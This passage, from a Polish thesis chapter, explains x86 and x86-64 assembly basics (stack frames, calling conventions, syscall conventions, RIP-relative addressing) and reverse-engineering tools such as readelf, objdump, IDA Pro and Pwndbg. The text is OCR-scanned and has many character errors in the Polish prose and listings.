instrukeji kopiowania wartosci — mov czy odejmowania — sub). Nie ma natomiast instrukeji,
w ktorych operandy te wystepuja zaréwno jako zrédto, jak i jako cel.

Wyrazenie znajdujace sie pomiedzy ,,[]” oznacza dereferencje, czyli odniesienie sie do ko-
morki pamieci znajdujacej sie pod adresem obliczonym na podstawie tego wyrazenia. Jedynym
wyjatkiem jest instrukcja 1ea, w ktorej takie wyrazenie stuzy jedynie do obliczenia adresu, ktory

zostanie zaladowany do rejestru docelowego [16].

3.4. Stos oraz sterta

Stos (ang. stack) jest obszarem w pamieci wydzielonym dla danego watku, stuzacym do prze-
chowywania zmiennych lokalnych oraz adreséw powrotu z funkcji. Jego wielkoS¢ jest ustalana
w czasie kompilacji, przez co moze doj$é¢ do sytuacji przepelnienia stosu (ang. stack overflow),
ktéra najczesciej konczy sie zakonczeniem dzialania programu.

Na architekturach x86 oraz x86-64 obstuga stosu jest zapewniana przez procesor. Stos zo-
$nie"w kierunku nizszych adresow, gdyz odktadanie czego$ na stos — przez instrukcje push zmniej-
sza wskaznik konca stosu (rejestr ESP lub RSP) o odpowiedni rozmiar.

Sterta (ang. heap) jest obszarem pamieci wykorzystywanym do dynamicznych alokacji pa-
mieci, a zatem to programista jest odpowiedzialny za zarzadzanie ta pamiecig — po zaalokowaniu
jakiego$ obszaru musi pamietaé, aby zwolni¢ go, gdy przestaje on by¢ potrzebny. W innym wy-

padku moze doprowadzi¢ do wycieku pamiegci.

3W przypadku trybu rzeczywistego procesora przed nawiasem kwadratowym znajduje sie jeszcze segreg:

czyli rejestr segmentowy.
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3.5. Funkcja

Zarowno w jezyku asembler jak i podczas analizy zdeasemblowanego kodu funkcja jest jedynie
oznaczeniem adresu w pamieci.
Funkcje mozna wykonaé¢ skaczac do niej — wykorzystujac jednag z instrukcji skokéw — lub

Swywolujac” ja instrukcjg ca11.

3.6. Ramka stosu

Ramka stosu nazywamy grupe danych znajdujaca sie¢ na stosie $cisle zwiazana z danym wy-
wolaniem funkcji. Moga to by¢ takie dane jak argumenty funkcji, zachowane wartosci rejestréw
czy zmienne lokalne. Przykladowy schemat ramek stosu zostal zaprezentowany na rysunku 3.2.

Ramka stosu alokowana jest na poczatku wykonywanej funkcji. Dealokacja ramki stosu naste-
puje tuz przed wyjsciem z funkcji. Proces alokacji oraz dealokacji ramki stosu polega na manipu-
lacji wskaZnikiem stosu (rejestrem ESP lub RSP) lub tez wskaZnikiem poczatku stosu (rejestrem
EBP lub RBP) [17].

Rysunek 3.2. Schemat ramek stosu dla programu ktéry wewnatrz funkcji Foo wywolat funkcje Bar.
Na schemacie zaznaczono réwniez gdzie wskazuja rejestry przechowujace adresy wierzchotka stosu (RSP)

oraz poczatku stosu (RBP).

Nizsze adresy: 0x00...00

— RSP

zmienne lokalne Bar

— RBP

Ramka stosu zapisany wskaznik poczatku stosu

funkcji Bar zapisany wskaznik instrukeji

argumenty funkcji Bar

zmienne lokalne Foo

] . Ramka stosu
zapisany wskaznik poczatku stosu B
funkcji Foo

zapisany wskaznik instrukcji

Wyzsze adresy: 0xFF...FF
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3.6.1. Prolog funkcji — alokacja ramki stosu

Prolog funkcji to standardowa sekwencja instrukcji generowana przez kompilator umiesz-
czona na poczatku kazdej z funkcji. Ma on za zadanie:

o Odlozenie na stos obecnego wskaznika poczatku stosu, aby mozna bylo go p67niej (w epi-
logu) przywrécié.

e Zmiana warto$ci wskaznika poczatku stosu tak, aby wskazywal na obecny wierzchotek
stosu, dzigki czemu nowa ramka stosu powstanie na szczycie stosu.

e Zmniejszenie wartosci ESP albo RSP aby ,zaalokowa¢” miejsce na zmienne lokalne czy
argumenty do funkcji. W przypadku gdy funkcja nie posiada zmiennych lokalnych, krok
ten moze zosta¢ pominiety.

Dla 64-bitowych programéw jest to zestaw instrukeji:

push rbp ; zapilsuje na stos wskazZnik poczatku stosu poprzedniej funkcji
mov rbp, rsp ; rbp = rsp
sub rsp, X ; alokuje ramke stosu, X to liczba alokowanych bajtow

Dla programéw 32-bitowych, instrukcje te beda rézni¢ sie tylko prefiksem rejestrow (,,E” zamiast
~R7).

Prolog funkcji moze zosta¢ rowniez zapisany instrukcja enter x, 0, ktéra poczatkowo byla
optymalizacja wzgledem powyzszych instrukcji. W dzisiejszych czasach nie jest ona stosowana,

gdyz dziala wolniej.

3.6.2. Epilog funkcji — dealokacja ramki stosu

Epilog funkcji jest generowany na koncu kazdej procedury. Jego zadaniem jest przywrocenie
ramki stosu, a wiec:
e Zwolnienie miejsca zjamowanego przez obecna ramke stosu — poprzez przypisanie wskaz-
nika poczatku stosu do wskaznika wierzchotku stosu.
« Sciggniecie ze stosu wartoé¢ wskaznika poczatku stosu poprzedniej funkcji.
e Powrét do poprzedniej funkcji poprzez Sciagniecie ze stosu zapisanego wskaznika instrukcji.

Dla 64-bitowych programoéw jest to zestaw instrukcji:

mov rsp, rbp ; dealokuje ramke stosu
pop rbp ; przywraca wskaznik poczatku stosu poprzedniej funkciji
ret ; wraca do poprzedniej funkcji

Epilog mozna réwniez zapisaé jako:

leave ; wykonuje "mov rsp, rbp ' oraz ‘ret’

ret ; wraca do poprzedniej funkcji

W przypadku funkcji z wieloma punktami wyjécia, punkty te musza zawieraé epilog lub skok

do miejsca zawierajacego epilog.
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3.6.3. Niestandardowe ramki stosu

Podczas inzynierii wstecznej oprogramowania mozna si¢ spotkaé¢ z ,,nietypowymi” ramkami
stosu. Moga one by¢ efektem optymalizacji kompilatora lub tez specjalnie przygotowanego kodu
asemblera, na przyklad w celu utrudnienia procesu analizy dzialania oprogramowania.

Jedng z takich optymalizacji przeprowadzanych przez kompilatory jest usuniecie ramki stosu
oraz skopiowanie ciala funkcji w miejsce jej wywolania. Taki zabieg zmniejsza koszt wywotania
danej funkcji, gdyz nie wykonuje sie kodu zwiazanego z zarzadzaniem ramka stosu. Wada tego
rozwigzania jest fakt powielenia tego samego kodu w wielu miejscach, co w przypadku duzych
funkcji moze nie przyspieszy¢ kodu — na przykiad ze wzgledu na zaémiecanie pamieci podrecznej
procesora wicksza iloscig instrukeji.

Innym przykladem moze by¢ stosowany w WinAPI* tak zwany hot patching, czyli moz-
liwos¢ szybkiej zmiany dziatania funkcji, na przyklad w celu instrumentacji lub poprawy jej
funkcjonowania [18]. Sama nazwa pochodzi od ,szybkiego patchowania” funkcji czyli apliko-
wania poprawek — podczas dzialania systemu oraz aplikacji wykorzystujacych dane biblioteki.
Realizowane jest to w nastepujacy sposéb:

o Wydziela si¢ pie¢ bajtow miejsca w pamieci przed patchowana funkcja. W miejsce tych

pieciu bajtéw umieszcza sie instrukcje skoku do poprawionej lub instrumentujacej funkcji.

e W prologu umieszcza sie¢ dwubajtowa instrukcje mov edi, edi, ktéra mozna pdzniej nad-

pisa¢ skokiem relatywnym do wydzielonego wczesniej obszaru.

Przyktadowy kod przed oraz po aplikacji tatki zostal zaprezentowany na listingach 3.1 oraz 3.2.

Listing 3.1. Kod przed aplikacja tatki.

nop ; kazdy nop ma 1 bajt
nop
nop
nop

nop

function:
mov edi, edi ; 1instrukcja ktdérg podmienimy na skok relatywny
push ebp ; Standardowy prolog funkcji

mov ebp, esp

Wykorzystanie instrukcji zajmujacej dwa bajty, zamiast na przyklad pieciu instrukeji nop jest
uzasadnione tym, ze na x86 oraz x86-64 nie da sie zmienié pieciu bajtéw wykonujac operacje

atomows’, a dwa juz tak.

4Interfejsie programistycznym systemu Microsoft Windows.
SInaczej niepodzielna.
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Listing 3.2. Kod po aplikacji tatki.

hot_patch:

Jmp replacement_function ; skok do poprawionej funciji

function:
Jmp short hot_patch ; skok do procedury wykonnujacej skok do tatki
push ebp ; Sstandardowy prolog funkcji

mov ebp, esp

3.7. Konwencje wywotan funkcji

Kompilatory podczas generowania kodu muszg wiedzie¢ w jaki sposoéb wywolywaé funkcje
oraz jak generowac kod funkcji, aby mozna bylo z nich korzysta¢ w innych programach. W tym
celu definiuje si¢ ABI (ang. Application Binary Interface, czyli opis interfejsu binarnego. Okresla
on takie rzeczy jak to jak reprezentowaé typy, dekorowaé nazwy (ang. name mangling)®, czy tez

to jak wywolywaé funkcje — czyli konwencje wywotan. Konwencje wywotan funkcji okreslaja:

e Sposéb przekazywania parametréow — czy sa zwracane przez rejestry, czy moze poprzez
umieszczenie na stosie.

e Metode zwracania wartosci z funkcji.

o Bezpieczne rejestry procesora — czyli takie, ktére nie zostaja zmienione przez wywoly-
wang funkcje. Zwykle polega to na tym, ze wywolywana funkcja zaraz po prologu odktada
je na stos, a przed epilogiem przywraca ich wartosci.

o Kto ,sprzata” stos — czy wywolujacy funkcje (ang. caller) czy wywolywana funkcja

(ang. callee).

Konwencje wywolan x86 oraz x86-64 zostaly przedstawione w tabelach 3.3 oraz 3.4. W ko-
lumnie ,,Parametry na stosie” mozna zauwazy¢ jedna z dwoch wartodci:
o C-style (,,0d tylu”) — argumenty odkladane sa na stos od ostatniego do pierwszego (od pra-
wej do lewej),
o Pascal-style (,,od przodu”) — argumenty odkladane sa od pierwszego do ostatniego (od lewej

do prawej).

3.7.1. Wywotlania systemowe w systemie Linux oraz ich konwencje

Jadro systemu Linux udostepnia interfejs programistyczny, ktéry nazywany jest wywotaniami
systemowymi. Wywotania systemowe pozwalaja miedzy innymi na operacje na plikach, kontrole
proceséw czy komunikacje sieciowa. To wladnie z tego interfejsu korzysta biblioteka standardowa

jezyka C.

6 Jest to technika polegajaca na generowaniu unikatowych nazw funkcji struktur, klas czy innych typéw danych.
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Tabela 3.3. Spis najbardziej popularnych konwencji wywolan na platformie x86 [19].

Opis

Nazwa pochodzi od C style function
declaration. Pozwala na zmienng liczbe
argumentéw (tzw. variadic functions),
poniewaz to wywolujacy kod sprzata

stos.

Pierwsze dwa parametry sa przekazy-
wane w rejestrach, a pozostate (jesli ist-

nieja) na stosie.

Nazwa Parametry  Parametry  Kto sprzata
w rejestrach  na stosie stos

cdecl  brak C-style caller

pascal brak Pascal-style callee

stdcall brak C-style callee

fastcall ECX, EDX  C-style callee

thiscall ECX C-style callee

Uzywana do wywolywania metod obiek-
tow. W ECX znajduje sie wskaznik na

obiekt, ktérego metode wywotano.

Tabela 3.4. Spis konwencji wywotan

na platformie x86-64 [19].

System Parametry w rejestrach Parametry Kto sprzata Rejestry bezpieczne
na stosie stos
Windows RCX, RDX, R8, R9 C-style caller RBX, RSI, RDI, RBP,
R12-R15
Linux, RDI, RSI, RDX, RCX, C-style caller RBX, RBP, R12-R15

BSD, OS X RS, R9

Konwencje wywotan systemowych zostaty przedstawione w tabeli 3.5.

Tabela 3.5. Konwencje wywolan systemowych w systemie Linux dla x86 oraz x86-64 [19].

Architektura Instrukcja wykonujaca Rejestr przechowujacy  Rejestry w ktérych

wywolanie systemowe numer wywotania przekazywane sa
systemowego kolejne parametry
x86-32 int 0x80 EAX EBX, ECX, EDX, ESI,
EDI, EBP
x86-64 syscall RAX RDI, RSI, RDX, R10,
RS, R9
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3.8. Odczytywanie wartosci wskaznika instrukcji

Wskaznik instrukeji — rejestr EIP (x86-32) lub RIP (x86-64) — nie wystepuje nigdy jako
operand (nie ma na przyklad instrukcji mov eax, eip czy mov rbx, rip). Jedynym wyjatkiem,
jest adresowanie relatywne wzgledem rejestru RIP, przez co rejestr ten moze pojawié¢ sie jako
operand adresowy w instrukcji lea (np. lea rax, [rip]).

Wartos$é tych rejestréw mozna na x86-32 oraz x86-64 pobraé tworzac funkcje pomocnicza
co prezentuja listingi 3.3 oraz 3.4. Po wejéciu do funkcji — czyli wywolaniu instrukcji ca11 —
na stosie bedzie odlozony przez nia adres kolejnej instrukeji (znajdujacej sie za ca11). Nastepnie
mozna skopiowaé ten adres ze stosu do ktérego$ z rejestrow i wyjsé z funkeji (ret). Po takich

operacjach rejestr, do ktérego skopiowalidémy adres powrotu zawiera te sama wartos¢ co wskaznik

instrukcji.
Listing 3.3. Pobieranie EIP na x86-32. Listing 3.4. Pobieranie RIP na x86-64.
call get_eip call get_rip
; PO wywoftaniu eax=eip ; PO wywoftaniu rax=rip

get_eip: get_rip:
mov eax, [esp] mov rax, [rsp]

ret ret

3.9. Adresowanie relatywne wzgledem wskaznika instrukcji na ar-
chitekturze x86-64

W programach 64-bitowych istnieje mozliwo$¢ odwolywania sie do pamieci poprzez adreso-
wanie relatywne wzgledem rejestru RIP (ang. RIP-relative addressing) [20].

Mechanizm ten pozwala na dwie rzeczy:

o Zaladowanie pamieci programu lub bibliotek pod dowolny adres w przestrzeni adresowej

procesu.

e Zmniejszenie rozmiaru instrukeji, gdyz nie musi ona kodowaé 64-bitowego adresu, a zamiast

tego jedynie przemieszczenie wzgledem rejestru RIP.

Adresowanie relatywne wzgledem rejestru RIP mozna zaprezentowaé przy uzyciu kréotkiego
kodu napisanego w jezyku C, ktéry zostal przedstawiony na listingu 3.5. Nastepnie kod ten
skompilowano poleceniem gcc main.c, a pézniej zdeasemblowano go wykorzystujac komende
objdump -d -Mintel ./a.out. Wynik zaprezentowano na listingu 3.6 wraz z analizg w for-
mie komentarzy.

Jak mozna zauwazy¢, warto$¢ zmiennej num jest kopiowana z adresu obliczonego

na podstawie rejestru RIP — rip+0x200053. Finalny adres zmiennej num mozna obliczyé
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Listing 3.5. Program skompilowany poleceniem gcc main.c.

1 #include <stdio.h>

3 int num;

5 int main ()

6 printf ("num

{

= %d\n", num);

Listing 3.6. Zdeasemblowany kod programu z listingu 3.5. Deasemblacje przeprowadzono poleceniem

objdump -d -Mintel, ktorego wynik zmodyfikowano dla lepszej czytelnosci.

; <adres> instrukcija

4004d7: main:
4004d7: push
4004d8: mov
4004db: mov
4004el: mov
4004e3: mov
4004e8: mov
4004ed: call
4004£f2: mov
4004£f7: pop
4004£8: ret

rbp

rbp,
eax,
esi,
edi,

eax,

; prolog funkcji main
rsp ; prolog funkcji main

DWORD PTR [rip+0x200b53] ,; skopiowanie wartosci zmiennej num do eax

eax ; esi=num - drugl argument funkcji printf
0x400584 ; edi="num = 3%d" pierwszy argument funkcji printf
0x0 ; eax = 0

4003f0 <printf@plt> ; wywotanie funkciji printf

eax,

rbp

0x0 ,; ustawienie zwracanego wyniku na 0
; epilog funkciji - przywrocenie wskaZnika poczatku stosu

; epilog funkcji - wyjsScie z funkcji

sumujac adres kolejnej instrukeji (czyli wartosci rejestru RIP po wykonaniu instrukeji

mov eax, DWORD PTR [rip+0x200b53]) oraz przemieszczenia: 0x4004el 4+ 02200653 = 02601034.

Informacje o tym, ze to faktycznie adres zmiennej num mozna potwierdzi¢ listujac symbole pro-

gramem readelf, co zostalo zaprezentowane na listingu 3.7.

Listing 3.7. Listowanie symboli programu w celu potwierdzenia adresu zmiennej num. Wyjscie programu

zostato skrocone, tak, aby zawiera¢ tylko istotne informacje.

$ readelf --symbols ./a.out

Symbol table
Num:

50:

'.symtab' contains 67 entries:

Value Size Type Bind Vis Ndx Name

00601034 4 OBJECT GLOBAL DEFAULT 24 num
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3.10. Narzedzia do inzynierii wstecznej wykorzystane w pracy

Istnieje wiele przydatnych narzedzi, ktére wykorzystuje sie podczas inzynierii wstecznej,
znajdowaniu btedéw czy wykorzystywaniu ich. Ponizej zaprezentowano liste wybranych narzedzi

wykorzystanych w pracy, wraz z krotkim opisem.

3.10.1. Pakiet GNU Binutils

Pakiet GNU Binutils to zestaw wielu narzedzi stuzacych do tworzenia oraz operowania na pli-
kach binarnych. Jest on dostepny gléwnie na systemach UNIX, choé istnieja réwniez wersje
na inne systemy operacyjne. Ponizej opisano wybrane z narzedzi, ktore moga sie przyda¢ w pro-

cesie inzynierii wstecznej oraz analizy dzialania programu.
file
file stuzy do rozpoznawania typu plikéw. Dokonuje tego na podstawie trzech testow:

o Wyniku wywoltania systemowego stat, w celu sprawdzenia czy plik nie jest pusty lub czy
nie jest plikiem specjalnym (np. urzadzeniem, linkiem symbolicznym).

e Wartoéci magic number, czyli sekwencji bajtow znajdujacej sie w wigkszosci formatéw
na poczatku pliku pelniacej roli sygnatury/identyfikatora pliku (nie wszystkie formaty
plikéw posiadaja sygnature).

Tabela 3.6. Sygnatury wybranych typéw plikow.

Plik Sygnatura w ASCII (kropki Sygnatura w HEX (zapisana
zastepuja niedrukowalne znaki) szesnastkowo)

PNG .PNG.... 89 50 4E 47 0D OA 1A OA

ELF .ELF TF 45 4C 46

EXE?® MZ 4D 5A

PDF $PDF 25 50 44 46

“Tak naprawde MZ to sygnatura plikéw wykonywalnych w systemie MS-DOS. Pliki wykonywalne na systemie
Windows — PE (ang. Portable Executable) — réwniez zaczynaja si¢ od MZ (zatem sg réwniez plikami wykonywal-
nymi na MS-DOS, ale podczas uruchomienia najczesciej wypisuja jedynie informacje, ze program nalezy uruchomié

w "WIN Mode", czyli na systemie Windows).

e Testow jezykowych — sprawdzenia czy zawarto$é¢ pliku jest napisana w ASCII, Unicode
kodowanego UTF-8, czy w innym kodowaniu. W przypadku wykrycia pliku tekstowego,
przeprowadzana jest rOwniez prosta analiza jezyka polegajaca na wyszukiwaniu stow klu-

czowych (np. struct dla jezyka C).

Na listingu 3.8 zaprezentowano przykladowe uzycie programu file wraz z krotkimi komenta-

rzami dodanymi w kolorze zielonym.
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Listing 3.8. Prezentacja wykonania programu file dla réznych typéw plikow.

# /proc/self/exe jest linkiem symbolicznym do obecnie uruchamionego programu
$ file /proc/self/exe
/proc/self/exe: symbolic link to /usr/bin/file

# fifo to potok nazwany stworzony poleceniem "mkfifo fifo®
$ file fifo
fifo: fifo (named pipe)

# Jak mozna zobaczyé¢, file informuje nas ze program jest zlinkowany dynamicznie

# ma usuniete symbole (ang. stripped)

# oraz ma informacje dla debuggera (with debug_info)

$ file /bin/ls

/bin/ls: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /1ib64/1d-linux-x86-64.s0.2, for GNU/Linux 2.6.32,
BuildID[shal]=4637713da6cd%9aa30d1528471c930£88a39045ff, stripped, with debug_info

# Podobne informacje wyswietlane sa dla bibliotek wspdidzielonych

$ file /1lib/libc-2.25.s0

/1lib/libc-2.25.s0: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux),
dynamically linked, interpreter /usr/lib/ld-linux-x86-64.s0.2,
BuildID[shal]l=58c735bc7bl9b0aeb395cce70cf63bd62ac75ed4a, for GNU/Linux 2.6.32,
not stripped, with debug_info

$ file dokument.pdf

dokument .pdf: PDF document, version 1.5

strings

Narzedzie strings wyszukuje oraz wypisuje drukowalne ciagi znakéw’ wewnatrz danego

pliku. Domyslnie wyszukuje ciagi o dlugosci czterech bajtéow. Przelacznikiem —e mozna réw-

niez zmieni¢ kodowanie, na przyklad na wyszukiwanie ciagéw zapisanych w UTF-8. Na li-

stingu 3.9 zostal przedstawiony przykladowy wynik uruchomienia tego polecenia na pliku ELF

oraz na pliku PDF.

"Czyli wartoéci ASCII z przedziatu 32-126.
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Listing 3.9. Przyktadowe uzycie programu strings. Jak mozna zobaczy¢, czasami w wyniku tego
polecenia mozna znalezé pewne dodatkowe informacje jak na przyklad nazwe oraz wersje programu,

w ktérym stworzono dany plik.

$ strings a.out | head -n 16
/1ib64/1d-1inux-x86-64.50.2
#S)u

libc.so.6

puts

_ _cxa_finalize

_ libc_start_main
_ITM_deregisterTMCloneTable
__gmon_start___
_Jv_RegisterClasses
_ITM_registerTMCloneTable
GLIBC_2.2.5

AWAVA

AUATL

[IA\A]A"A_

;*38"

GCC: (GNU) 6.3.1 20170306

$ strings dokument.pdf -n 50 | tail -n 5

/PTEX.FileName (./images/benchs_xeon/data_alignment_03.pdf)

/PTEX.FileName (./images/benchs_xeon/data_alignment_normalized.pdf)

/Author () /Title () /Subject () /Creator (LaTeX with hyperref package)/

Producer (pdfTeX-1.40.16) /Keywords ()

/PTEX.Fullbanner (This is pdfTeX, Version 3.14159265-2.6-1.40.16

(TeX Live 2015/Debian) kpathsea version 6.2.1)

/ID [<7TAE961FFCEC4850E1C3E9FE2E285960D> <7AE961FFCEC4850E1C3E9FE2E285960D>]



3. Asembler x86 oraz x86-64

readelf

Program readelf parsuje oraz wys$wietla wybrane informacje o danym pliku ELF.
7 jego pomocg mozna wyswietlic dane z naglowka pliku ELF - stuzy do tego przetacznik
—-—-file-header, informacje o sekcjach — ——sections czy relokacjach — ——relocs. Dzia-

tanie programu zaprezentowano na listingach 3.10 oraz 3.11.

Listing 3.10. Wyswietlanie danych pochodzacych z nagléowka pliku ELF. W ten sposéb mozna uzy-
ska¢ adres poczatku programu (ang. entry point address) oraz informacje na jaka architekture zostal on

napisany.

$ readelf --file-header /bin/ls
ELF Header:

Magic: 7f 45 4c 46 02 01 01 00 00 OO 00 00 00 00O 0O 0O

Class: ELF64

Data: 2's complement, little endian
Version: 1 (current)

OS/ABI: UNIX - System V

ABI Version: 0

Type: EXEC (Executable file)
Machine: Advanced Micro Devices X86-64
Version: 0x1

Entry point address: 0x404030

Start of program headers: 64 (bytes into file)

Start of section headers: 128760 (bytes into file)
Flags: 0x0

Size of this header: 64 (bytes)

Size of program headers: 56 (bytes)

Number of program headers: 9

Size of section headers: 64 (bytes)

Number of section headers: 28

Section header string table index: 27
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Listing 3.11. Wyswietlanie informacji o sekcjach w programie readelf. Z wyjscia programu wycieto
czes¢ tekstu i zastapiono go ,, (.. .)". W kolumnie Address znajduja si¢ adresy wirtualne, pod ktérymi
wystepuja dane sekcje po uruchomieniu procesu. Kolumna Offset przedstawia przemieszczenie danej
sekcji wzgledem poczatku pliku. W kolumnie Type wartos¢é PROGBITS oznacza, ze zawarto$é¢ sekcji
znajduje sie w pliku. W przypadku typu NOBITS zawarto$¢ sekcji jest alokowana i inicjalizowana podczas
inicjalizacji programu. Jedynie sekcja .bss jest typu NOBITS, gdyz zawiera ona niezainicjalizowane —
przez programiste — zmienne globalne programu, ktére sa automatycznie inicjalizowane zerami podczas

ladowania programu.

$ readelf --sections /bin/ls

There are 28 section headers, starting at offset O0x1f6f8:

Section Headers:

[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
(...)

[11] .init PROGBITS 00000000004021cO 000021cO
0000000000000017 0000000000000000 AX 0 0 4

[12] .plt PROGBITS 00000000004021e0 000021e0
00000000000006d0 0000000000000010 AX 0 0 16

[13] .text PROGBITS 00000000004028b0 000028b0
0000000000011b29 0000000000000000 AX 0 0 16

[14] .fini PROGBITS 00000000004143dc 000143dc
0000000000000009 0000000000000000 AX 0 0 4

[15] .rodata PROGBITS 0000000000414400 00014400
0000000000006954 0000000000000000 A 0 0 32

(...)

[22] .got PROGBITS 000000000061eff0 0001leff0
0000000000000010 0000000000000008 WA 0 0 8

[23] .got.plt PROGBITS 000000000061£000 0001£000
0000000000000378 0000000000000008 WA 0 0 8

[24] .data PROGBITS 000000000061£380 0001£380
0000000000000260 0000000000000000 WA 0 0 32

[25] .Dbss NOBITS 000000000061£5e0 0001£5e0
00000000000011c8 0000000000000000 WA 0 0 32

(...)

Key to Flags:

W (write), A (alloc), X (execute), M (merge), S (strings), I (info),

L (link order), O (extra OS processing required), G (group), T (TLS),

C (compressed), x (unknown), o (OS specific), E (exclude),

1

(large), p

(processor specific)
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objdump

Narzedzie objdump shuzy do deasemblacji plikéw obiektowych®. Jego duza zalety jest pro-
stota dzialania, a wadg fakt, ze nie jest interaktywny — nie sprawdza sie zatem podczas codzien-

niej pracy. Dziatanie tego programu zostalo przedstawione na listingu 3.12.

Listing 3.12. Deasemblacja programu typu ,hello world”. Wyjécie programu zostalo skrécone do de-
asemblacji funkcji main. Wykorzystane flagi — ——disassemble --disassembler-options=intel

stuza do deasemblacji oraz przetaczenia sktadni asemblera na sktadni¢ Intela.

$ objdump —--disassemble --disassembler-options=intel a.out
000000000000067a <main>:

67a: 55 push rbp

67b: 48 89 e5 mov rbp, rsp

67e: 48 8d 3d 9f 00 00 00 lea rdi, [rip+0x9f] # 724 <_IO_stdin_used+0x4>
685: e8 c6 fe ff ff call 550 <puts@plt>

68a: b8 00 00 00 00 mov eax, 0x0

68f: 5d pop rbp

690: c3 ret

691: 66 2e 0f 1f 84 00 00 nop WORD PTR cs: [rax+raxx1+0x0]

698: 00 00 00

69b: 0f 1f 44 00 00 nop DWORD PTR [rax+rax*1+0x0]

3.10.2. IDA Pro — interaktywny deasembler oraz dekompilator

IDA Pro to interaktywny okienkowy deasembler. Obstuguje on wiele formatow plikow wyko-
nywalnych, procesoréw oraz systemow operacyjnych. Po zatadowaniu danego pliku przeprowadza
automatyczng analize kodu, dzieki ktérej na podstawie znanych sygnatur identyfikuje funkcje
biblioteczne oraz ich argumenty, a nastepnie nazywa dane funkcje oraz komentuje kod asemblera
informujac np. w ktorych rejestrach znajduja si¢ dane argumenty dla danej funkcji. Udostepnia
rowniez mozliwo$¢ pisania wlasnych rozszerzen w jezyku Python. Istnieje réwniez oficjalne, ko-
mercyjne rozszerzenie — Hex-Rays Decompiler, ktére jest najpopularniejszym dekompilatorem
kodu do jezyka C. Narzedzie to jest ptatne — od tysiaca do kilku tysiecy dolaréw, w zaleznoéci od
funkcjonalnoéci. Istnieje réwniez wersja demo, lecz obshuguje ona wylacznie 32-bitowe programy
x86. Nie zawiera ona réwniez dekompilatora. Na rysunku 3.3 przedstawiono interfejs IDA Pro.

Alternatywami dla IDA Pro sa programy:

o Hopper — platny interaktywny deasembler oraz dekompilator. Kosztuje okolo 1008.

o Binary Ninja — platny interaktywny deasembler, z wlasnym jezykiem posrednim (/L — ang.

intermediate language) oraz rozbudowanym API pozwalajacym na automatyzacje analizy
kodu.

8W tym i plikéw ELF.
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e Radare2 — darmowy oraz otwartozrodlowy konsolowy zestaw narzedzi do inzynierii wstecz-
nej. Zawiera zaréwno deasembler jak i debugger. Ze wzgledu na brak oficjalnego interfejsu

okienkowego oraz skrétowe komenty, nauka pelnej obstugi Radare2 jest czasochtonna.
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3.10.3. GDB oraz Pwndbg — debugger

GDB (GNU Debugger) to konsolowy debugger, czyli program stuzacy do dynamicznej analizy
dzialania programéw. Pozwala on analizowaé kod jezykéw C, C++, Rust, D oraz wielu innych.
GDB umozliwia rowniez analize kodu natywnego, co przydaje si¢ podczas analizy programow
bez dostepu do ich kodu zrédlowego oraz ktére zostaly skompilowane bez symboli debugowych?.

GDB mozna réwniez skryptowaé przy uzyciu jezyka Python. Dzigki temu powstato wiele

rozszerzen do GDB. Jednym z takich rozszerzen jest Pwndbg, uzywane w niniejszej pracy.

3.10.3.1. Pwndbg

Pwndbg to rozszerzenie do GDB ulatwiajace proces inzynierii wstecznej, debugowania kodu
natywnego oraz eksploitacji aplikacji. Jest to otwarty oraz darmowy projekt na licencji MIT
dostepny na stronie https://github.com/pwndbg/pwndbg.

Na rysunku 3.4 przedstawiono interfejs Pwndbg. Kolejne wys$wietlane sekcje — rejestry, zde-
asemblowany kod, stos oraz backtrace — tworza tak zwany kontekst, ktory jest wyswietlany gdy
GDB zatrzyma sie na jakiejs instrukeji. Mozna go réowniez wyswietli¢ wykorzystujac polecenie
context. Jak mozna zauwazy¢, poszczegdlne wartosci rejestrow oraz wartosci znajdujace sie
na stosie sa kolorowane wzgledem legendy, ktéra zostala wyswietlona na poczatku kontekstu.
Wartosci te sg poddawane operacji, ktora w Pwndbg znana jest jako telescope. Polega ona na tym,
ze jezeli dana wartos¢ znajduje sie w przedziale adresow nalezacych do jednej ze stron pamieci
procesu, to adres ten jest poddawany dereferencji i przedstawiana jest warto$¢ znajdujaca sie
pod tym adresem. Operacja ta jest powtarzana az do momentu, gdy wyswietlanie kolejnych
dereferencji byloby nieczytelne lub gdy pod danym adresem znajduje si¢ warto$¢ nie nalezaca
do przestrzeni adresowej procesu. Jezeli dany adres wskazuje na lancuch znakéw, to teleskop

wyswietla jego poczatek.

9Dzieki ktérym mozna debuggowaé kod danego jezyka, jesli GDB go wspiera.
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[dc@dc:test]$ gdb ./a.out

Loaded 108 commands. Type pwndbg [filter] for a list.

Reading symbols from ./a.out...(no debugging symbols found)...done.
pwndbg> entry

Temporary breakpoint 1 at ©x555555554570@

, , _legenda
Temporary breakpoint 1, @x0000555555554570 in start ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[ REGISTERS—if
*RAX Ox1c
RBEX 0x0
#RCX  Ox7TIFTT77dals — Ox7TITTTTTdbce «— @x524T4c474357534c ('LS COLOR')
*RDX Ox7TTff7de8830 (_dl fini) «— push  rbp
#RDI Ox7TfTf7ffelo® — Ox555555554000 «— jg 0x555555554047
*RSI 0Ox1
*R8  OxTTFFf7ffe690 « OXO \
R9  0x0 Teleskop
+*R10 0Ox8 . .
FR11  Ox1 I-(ol’ejlj.e sekcje
*R12 0x555555554570 ( start) «— xor ebp, ebp wyswietlanego
*R13 07 FFFFFFfdann «— Oxl kontekstu
R14 0Ox0
R15 0Ox0
REP 0x0
RSP Ox7TiffffTdann «— 8xl
*RIP 0x555555554570 ( start) «— xor ebp, ebp
[ DISASH i
0x555555554572 < start+2= mowv ro, rdx
0x555555554575 < start+5> pop rsi
0x555555554576 < start+6= mowv rdx, rsp
©x555555554579 < start+9> and rsp, Oxffffffffiffffffo
0x55555555457d < start+13= push rax
0x55555555457e < start+l4> push rsp
0x55555555457T < start+15= lea rg8, gqword ptr [rip + 8x18al] <0x555555554710=>
©x555555554586 < start+22= lea rcx, qword ptr [rip + ©x113] <0x5555555546a0>
©x55555555458d < start+29=> lea rdi, qword ptr [rip + @xe6] =0x55555555467a>
©x555555554594 < start+36=> call qword ptr [rip + 0x2080a3e] <@x7ffff7a533e0=>
[ STACK-if
00: 0000
01:0008 «— Bx63642f656d6T682T (' /home/s/dc')
02:0010
03:0018 <— O0x524T4c474351534¢c ('LS COLOR')
04:0020 «— Bx573153505f544947 ('GIT_PS1 ')
05:0028 «— Bx454c415554524956 ('VIRTUALE')
06:0030 «— Bx54414e494d524554 ('TERMINAT')
